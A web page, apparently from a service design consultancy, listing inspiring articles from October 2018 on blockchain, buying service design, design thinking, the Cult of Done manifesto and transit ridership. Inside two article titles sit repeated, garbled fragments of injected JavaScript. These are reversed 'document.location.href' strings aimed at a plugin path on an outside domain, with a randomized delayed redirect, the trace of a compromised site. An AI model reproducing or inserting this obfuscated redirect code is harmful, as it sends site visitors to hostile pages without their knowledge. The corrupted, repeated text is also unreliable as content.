+49 30 70079367

Close Call

We like to get inspired by others

We put together a small collection of articles and links about topics which are inspiring to us. As we work cross-industry you find a diversity of topics but dealing all with service design and innovation.

October 2018

Blockchain Explained. Simply.

Blockchain technology is changing the game in the digital world and it is important for you to know why. So, what is blockchain? How can you benefit from this technology in the near future? We, as the team at Telekom Innovation Laboratories working on blockchain, are here to provide you some answers.

Found by Magdalena Milly
October 2018

A guide toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to procuring Service Design

I want the people I work with to get the best possible results — so I’ve written a 16 (awkward) part guide on how to buy service design.

It’s not exhaustive, but rather a list of some helpful tips that might help you if you’re involved in commissioning or selling service design.

I find that these elements help both sides reach a quicker understanding of what’s needed.

Found by Birga Schlottmann
October 2018

Shh! Don’t Tell Them There’s No Magic In Design Thinking

Now, every few years, someone touts some new approach or method that’s going to change the world. It’s part of how consultants make money. Brand an idea and sell it. Make a ton of money until the next big thing comes around. So, I’m used to these cycles by now.

Yet, Design Thinking was in my own backyard. It’s supposed to be a shift in how companies think about design, and that’s where I’ve been working for the last 37 years. I needed to find out more about what it was.

Found by Ernesto Rodriguez
October 2018

The Cult of Done Manifestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to

It was one of those magic writing moments where I had the laptop open and our ideas flew onto the page. For me, it is a map of my 2009 heart. Getting it on paper was a cathartic documentation of my life, my soul, and my passion for unbridled creativity. Kio and I shared writing credit on it, licenced it Creative Commons and put it out into the world. Immediately a few folks made visual representations of it and it spread like wildfire for people who need a creative jumpstart.

Found by Birga Schlottmann
October 2018

The what not the how of Service Design

When it comes to Service Design as a discipline (with a capital S and D) it seems, on some occasions, we have become obsessed with the tools and methods and lost sight of what we’re actually trying to do.

We’ve become obsessed with the how and not the what.

Found by Birga Schlottmann
October 2018

The Transit Ridership Recipe

When transit is planned with the goal of high ridership, what does that mean?  When you tell network designers like me to maximize ridership, what do we do?

Found by José Ernesto Rodríguez

You can also find us on →